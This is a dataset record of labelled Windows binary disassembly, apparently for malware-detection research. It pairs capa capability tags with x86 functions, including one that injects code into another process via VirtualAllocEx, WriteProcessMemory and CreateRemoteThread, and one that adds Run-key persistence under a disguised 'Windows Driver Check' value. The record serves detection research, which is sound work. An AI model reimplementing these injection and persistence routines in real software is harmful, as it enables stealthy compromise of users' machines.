joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4025d6
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push 0x244
mov eax, 0x4129f1
call fcn.00411c81
mov eax, dword [ebp + 8]
and dword [ebp - 4], 0
push eax
call fcn.004027ed
test eax, eax
pop ecx
mov dword [ebp - 0x224], eax
jne 0x402618
mov dword [ebp - 0x238], str.GetProcessIDByName__
push 0x415ee8
lea eax, [ebp - 0x238]
push eax
call fcn.0040a64c
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
jne 0x402640
mov dword [ebp - 0x24c], str.LoadLibrary__
push 0x415ee8
lea eax, [ebp - 0x24c]
jmp 0x402612
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x415490
push edi
call esi
push 0x4154a0
push edi
mov dword [ebp - 0x220], eax
call esi
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x218]
mov cl, byte [edx]
inc edx
mov byte [eax], cl
inc eax
test cl, cl
jne 0x40266b
push dword [ebp - 0x224]
mov esi, str.Function
lea edi, [ebp - 0x119]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0
mov esi, 0x402c39
mov ebx, 0x402c18
push 0x1f0fff
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
mov dword [ebp - 0x228], edi
jne 0x4026c8
mov dword [ebp - 0x240], str.OpenProcess__
push 0x415ee8
lea eax, [ebp - 0x240]
jmp 0x402612
push 0x40
push 0x1000
lea eax, [esi + 0x208]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
mov dword [ebp - 0x224], eax
jne 0x402703
mov dword [ebp - 0x22c], str.VirtualAllocEx__
push 0x415ee8
lea eax, [ebp - 0x22c]
jmp 0x402612
push 0
push 0x208
lea ecx, [ebp - 0x220]
push ecx
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
test eax, eax
jne 0x402739
mov dword [ebp - 0x248], str.WriteProcessMemory__
push 0x415ee8
lea eax, [ebp - 0x248]
jmp 0x402612
mov eax, dword [ebp - 0x224]
push 0
push esi
add eax, 0x208
push ebx
push eax
push dword [ebp - 0x228]
mov dword [ebp - 0x234], eax
call edi
test eax, eax
jne 0x402775
mov dword [ebp - 0x230], str.WriteProcessMemory__
push 0x415ee8
lea eax, [ebp - 0x230]
jmp 0x402612
xor eax, eax
push eax
push eax
push dword [ebp - 0x224]
push dword [ebp - 0x234]
push eax
push eax
push dword [ebp - 0x228]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x4027b1
mov dword [ebp - 0x23c], str.CreateRemoteThread__
push 0x415ee8
lea eax, [ebp - 0x23c]
jmp 0x402612
push dword [ebp - 0x228]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x4027e5
mov dword [ebp - 0x244], str.CloseHandle__
push 0x415ee8
lea eax, [ebp - 0x244]
jmp 0x402612
mov al, 1
call fcn.00411cce
ret
Function at 0x4027ed
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x417740]
xor eax, esp
mov dword [esp + 0x130], eax
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
mov ecx, dword [ebp + 8]
lea eax, [esp + 0x2c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40284b
test dl, dl
je 0x402847
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40284b
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jne 0x40282d
xor eax, eax
jmp 0x402850
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402876
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402826
mov ecx, dword [esp + 0x134]
pop esi
xor ecx, esp
call fcn.00405129
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x10]
jmp 0x402863

Function at 0x40287c
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
sub esp, 0x210
lea ebp, [esp - 4]
mov eax, dword [0x417740]
xor eax, ebp
mov dword [ebp + 0x210], eax
push 0x20
mov eax, 0x4129c9
call fcn.00411c4b
mov esi, 0x105
xor ebx, ebx
push esi
lea eax, [ebp]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.00407230
push esi
lea eax, [ebp + 0x108]
push ebx
push eax
call fcn.00407230
push 0x415550
push str.CurrentVersion
push str.Windows
push str.Microsoft
push str.SOFTWARE
push str._s_s_s_s_s
dec esi
lea eax, [ebp]
push esi
push eax
call fcn.00404d88
add esp, 0x38
push ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
lea eax, [ebp]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x402925
mov dword [ebp - 0x28], str.RegCreateKeyEx__
push 0x415ee8
lea eax, [ebp - 0x28]
push eax
call fcn.0040a64c
push esi
lea eax, [ebp + 0x108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402949
mov dword [ebp - 0x20], str.GetModuleFileName__
push 0x415ee8
lea eax, [ebp - 0x20]
jmp 0x40291f
mov esi, str.Windows_Driver_Check
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x40296d
mov dword [ebp - 0x18], str.RegDeleteValue__
push 0x415ee8
lea eax, [ebp - 0x18]
jmp 0x40291f
lea eax, [ebp + 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402976
sub eax, edx
inc eax
push eax
lea eax, [ebp + 0x108]
push eax
push 1
push ebx
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4029ad
mov dword [ebp - 0x24], str.RegSetValueEx__
push 0x415ee8
lea eax, [ebp - 0x24]
jmp 0x40291f
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4029dd
mov dword [ebp - 0x1c], str.RegCloseKey__
push 0x415ee8
lea eax, [ebp - 0x1c]
jmp 0x40291f
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x210]
xor ecx, ebp
call fcn.00405129
add ebp, 0x214
leave
ret
Function at 0x402a00
Capabilities:
Enumerate processes

Disassembly:
push 0x250
mov eax, 0x412a19
call fcn.00411c81
mov eax, dword [ebp + 8]
xor edi, edi
mov esi, 0x105
push esi
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0x124]
push edi
push eax
mov dword [ebp - 4], edi
xor ebx, ebx
mov dword [ebp - 0x250], edi
call fcn.00407230
add esp, 0xc
push esi
lea eax, [ebp - 0x124]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x254], esi
je 0x402a81
lea eax, [ebp - 0x24c]
push eax
push esi
mov dword [ebp - 0x24c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x402a89
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
call fcn.00411cce
ret
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea ecx, [ebp - 0x228]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x402aba
test dl, dl
je 0x402ab6
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x402aba
inc ecx
inc ecx
inc eax
inc eax
test dl, dl
jne 0x402a9c
xor eax, eax
jmp 0x402abf
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x402b0e
lea eax, [ebx*4 + 4]
push eax
push dword [ebp - 0x250]
call fcn.004047cd
mov esi, eax
pop ecx
lea eax, [ebp - 0x228]
pop ecx
mov dword [ebp - 0x250], esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402ae9
sub eax, ecx
inc eax
push eax
call fcn.0040451c
pop ecx
mov dword [esi + ebx*4], eax
lea ecx, [ebp - 0x228]
mov dl, byte [ecx]
inc ecx
mov byte [eax], dl
inc eax
test dl, dl
jne 0x402b03
inc ebx
lea eax, [ebp - 0x24c]
push eax
push dword [ebp - 0x254]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402a89
lea eax, [ebx + 1]
push eax
call fcn.0040451c
mov edi, eax
pop ecx
xor eax, eax
cmp eax, ebx
jge 0x402b41
mov byte [eax + edi], 1
inc eax
jmp 0x402b36
call fcn.00404446
cdq
idiv ebx
mov esi, edx
dec esi
cmp byte [esi + edi], 0
jne 0x402b9b
xor cl, cl
xor eax, eax
cmp eax, ebx
jge 0x402b65
cmp byte [edi + ebx], 1
jne 0x402b62
mov cl, 1
inc eax
jmp 0x402b56
cmp cl, 1
je 0x402b41
xor esi, esi
cmp esi, ebx
jge 0x402b86
push edi
call fcn.00403aa8
pop ecx
push dword [ebp - 0x250]
call fcn.00403aa8
pop ecx
inc esi
jmp 0x402b6c
xor bl, bl
push dword [ebp - 0x254]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
jmp 0x402a83
push dword [ebp - 0x258]
mov eax, dword [ebp - 0x250]
push dword [eax + esi*4]
call fcn.004025d6
cmp al, 1
pop ecx
pop ecx
mov byte [esi + edi], al
jne 0x402b41
xor esi, esi
cmp esi, ebx
jge 0x402bd4
push edi
call fcn.00403aa8
pop ecx
push dword [ebp - 0x250]
call fcn.00403aa8
pop ecx
inc esi
jmp 0x402bba
mov bl, 1
jmp 0x402b88
Function at 0x403810
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
mov eax, dword [0x417740]
xor eax, esp
mov dword [esp + 0x60], eax
mov eax, edx
push esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x67452301
mov dword [esp + 0x14], 0xefcdab89
mov dword [esp + 0x18], 0x98badcfe
mov dword [esp + 0x1c], 0x10325476
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403860
sub eax, esi
je 0x40387a
push edx
lea ecx, [esp + 0xc]
call fcn.004035c0
add esp, 4
push edi
lea ecx, [esp + 0xc]
call fcn.00403650
mov ecx, dword [esp + 0x68]
add esp, 4
pop esi
xor ecx, esp
call fcn.00405129
mov esp, ebp
pop ebp
ret

Function at 0x4039e0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, 0x1008
call fcn.004115f0
mov eax, dword [0x417740]
xor eax, esp
mov dword [esp + 0x1004], eax
mov dword [esp], edx
call fcn.00403970
mov ecx, dword [esp]
lea eax, [esp + 4]
push eax
push ecx
lea edx, [esp + 0xc]
push 0x1000
push edx
call fcn.00405ac0
lea eax, [esp + 0x14]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403a22
mov ecx, dword [esi + 4]
push 0
sub eax, edx
push eax
lea eax, [esp + 0xc]
push eax
push ecx
call sub.WS2_32.dll_send
mov ecx, dword [esp + 0x1004]
xor ecx, esp
call fcn.00405129
add esp, 0x1008
ret

Function at 0x405129
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417740]
jne 0x405133
repz ret
jmp fcn.0040a44b

Function at 0x40710b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x407138
call fcn.00405d4e
mov dword [eax], esi
call fcn.00405d3b
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00406ddc
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x407114
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x407167
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00405d61
pop ecx
call fcn.00405d3b
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x40718e
test al, 1
je 0x40718e
test byte [esp + 0xc], 2
je 0x40718e
call fcn.00405d4e
mov dword [eax], 5
call fcn.00405d3b
mov dword [eax], 0xd
jmp 0x40715e
xor eax, eax
pop esi
ret
Function at 0x408597
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x4175c0]
je 0x4085b2
inc edi
cmp edi, 0x17
jb 0x4085a3
cmp edi, 0x17
jae 0x408732
push ebp
push 3
call fcn.0040dd90
cmp eax, 1
pop ecx
je 0x4086fe
push 3
call fcn.0040dd90
test eax, eax
pop ecx
jne 0x4085e6
cmp dword [0x417060], 1
je 0x4086fe
cmp ebx, 0xfc
je 0x408731
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x418400
push ebp
call fcn.00404468
add esp, 0xc
test eax, eax
je 0x40861c
push esi
push esi
push esi
push esi
push esi
call fcn.00406ce0
add esp, 0x14
push 0x104
mov esi, 0x418419
push esi
push 0
mov byte [0x41851d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x408660
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00404468
add esp, 0xc
test eax, eax
je 0x408660
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00406ce0
add esp, 0x14
push esi
call fcn.004071a0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4086a5
push esi
call fcn.004071a0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x418714
push 0x4138cc
sub ecx, eax
push ecx
push eax
call fcn.0040dcdd
add esp, 0x14
test eax, eax
je 0x4086a5
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00406ce0
add esp, 0x14
jmp 0x4086a7
xor esi, esi
push 0x4138c8
push ebx
push ebp
call fcn.00404a61
add esp, 0xc
test eax, eax
je 0x4086c7
push esi
push esi
push esi
push esi
push esi
call fcn.00406ce0
add esp, 0x14
push dword [edi*8 + 0x4175c4]
push ebx
push ebp
call fcn.00404a61
add esp, 0xc
test eax, eax
je 0x4086e9
push esi
push esi
push esi
push esi
push esi
call fcn.00406ce0
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0040db20
add esp, 0xc
jmp 0x408731
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x408731
cmp ebp, 0xffffffff
je 0x408731
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x4175c4]
push dword [esi]
call fcn.004071a0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x40db20
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00408018
xor ebx, ebx
cmp dword [0x418bd0], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x40dbf6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40dcd6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x413b4c
push edi
call esi
cmp eax, ebx
je 0x40dcd6
push eax
call fcn.00407faa
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x418bd0], eax
call esi
push eax
call fcn.00407faa
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x418bd4], eax
call esi
push eax
call fcn.00407faa
mov dword [0x418bd8], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00404e7a
test eax, eax
pop ecx
pop ecx
je 0x40dbc4
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00406ce0
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x40dbf6
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00407faa
cmp eax, ebx
pop ecx
mov dword [0x418be0], eax
je 0x40dbf6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00407faa
pop ecx
mov dword [0x418bdc], eax
mov eax, dword [0x418bdc]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x40dc7b
cmp dword [0x418be0], ecx
je 0x40dc7b
push eax
call fcn.00408021
push dword [0x418be0]
mov esi, eax
call fcn.00408021
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x40dc7b
cmp edi, ebx
je 0x40dc7b
call esi
cmp eax, ebx
je 0x40dc48
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40dc48
test byte [ebp - 0x18], 1
jne 0x40dc7b
lea eax, [ebp - 0x10]
push eax
call fcn.00404eed
test eax, eax
pop ecx
je 0x40dc63
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00406ce0
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x40dc72
or dword [ebp + 0x10], 0x200000
jmp 0x40dcb6
or dword [ebp + 0x10], 0x40000
jmp 0x40dcb6
mov eax, dword [0x418bd4]
cmp eax, dword [ebp - 8]
je 0x40dcb6
push eax
call fcn.00408021
cmp eax, ebx
pop ecx
je 0x40dcb6
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40dcb6
mov eax, dword [0x418bd8]
cmp eax, dword [ebp - 8]
je 0x40dcb6
push eax
call fcn.00408021
cmp eax, ebx
pop ecx
je 0x40dcb6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418bd0]
call fcn.00408021
cmp eax, ebx
pop ecx
je 0x40dcd6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40dcd8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403970
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5b071a
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x62d330]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x18], esi
call fcn.005961a6
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x403a16
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.bad_locale_name
push eax
lea ecx, [ebp - 0x24]
call fcn.00574740
push 0x627a84
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::runtime_error.0
push eax
call fcn.00578bd5
push edi
push esi
call fcn.0059643c
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0057468d
mov esp, ebp
pop ebp
ret 4

Function at 0x403fb0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x5b07a8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x62d330]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
push dword [ebp + 0x10]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.004047b0
push dword [ebp + 0xc]
lea eax, [esp + 0x28]
push dword [ebp + 8]
push eax
call fcn.00403ee0
add esp, 0x24
mov dword [esp + 0x30], 0
cmp dword [eax + 0x14], 0x10
jb 0x404021
mov eax, dword [eax]
mov dword [esp + 8], eax
mov ecx, esi
lea eax, [esp + 8]
push eax
call fcn.00574740
cmp dword [esp + 0x20], 0x10
mov dword [esi], vtable.std::runtime_error.0
jb 0x40404a
push dword [esp + 0xc]
call fcn.0044ed01
add esp, 4
mov eax, dword [ebp + 8]
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [esi], vtable.std::_System_error.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x58c8a8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x62d330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0057ee5c
mov dword [ebp - 0x14], eax
cmp dword [0x63ab6c], esi
jne 0x58c99b
push 0x800
push esi
push 0x5f6bf0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x58c928
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x58ca7b
push esi
push esi
push 0x5f6bf0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x58ca7b
push 0x5f6c08
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x58ca7b
push eax
call ebx
push 0x5f6c14
push edi
mov dword [0x63ab6c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x5f6c24
push edi
mov dword [0x63ab70], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x63ab74], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x63ab7c], eax
test eax, eax
je 0x58c998
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x63ab78], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x58c9c0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x58c9b3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x58c9d5
push 4
pop eax
jmp 0x58ca7d
cmp dword [ebp - 0x14], esi
je 0x58c9d5
push dword [0x63ab6c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x58c9ba
mov eax, dword [0x63ab78]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x58ca33
cmp dword [0x63ab7c], edi
je 0x58ca33
push eax
call ebx
push dword [0x63ab7c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x58ca33
test eax, eax
je 0x58ca33
call ecx
test eax, eax
je 0x58ca28
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x58ca28
test byte [ebp - 8], 1
jne 0x58ca33
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x58ca63
mov eax, dword [0x63ab70]
cmp eax, edi
je 0x58ca60
push eax
call ebx
test eax, eax
je 0x58ca60
call eax
mov esi, eax
test esi, esi
je 0x58ca60
mov eax, dword [0x63ab74]
cmp eax, edi
je 0x58ca60
push eax
call ebx
test eax, eax
je 0x58ca60
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x63ab6c]
call ebx
test eax, eax
je 0x58ca7b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x58ca7d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0057468d
mov esp, ebp
pop ebp
ret
Function at 0x59c71f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x4282a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17000]
push edi
jmp 0x4282ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4282c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4282b0
mov eax, 1
add ebx, ebx
jne 0x4282d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4282c8
jne 0x4282e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4282c8
xor ecx, ecx
sub eax, 3
jb 0x4282f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42836a
mov ebp, eax
add ebx, ebx
jne 0x428303
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428310
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428334
inc ecx
add ebx, ebx
jne 0x428320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428315
jne 0x428331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428315
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x428354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x428345
jmp 0x4282b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x428354
add edi, ecx
jmp 0x4282b6
pop esi
mov edi, esi
mov ecx, 0x115
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x428372
cmp byte [edi], 3
jne 0x428372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x428377
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x4283e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x28000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x280c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4283a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x280cc]
or eax, eax
je 0x4283e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4283c1
call dword [esi + 0x280c8]
mov ebp, dword [esi + 0x280d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42841a
sub esp, 0xffffff80
jmp 0x409ac0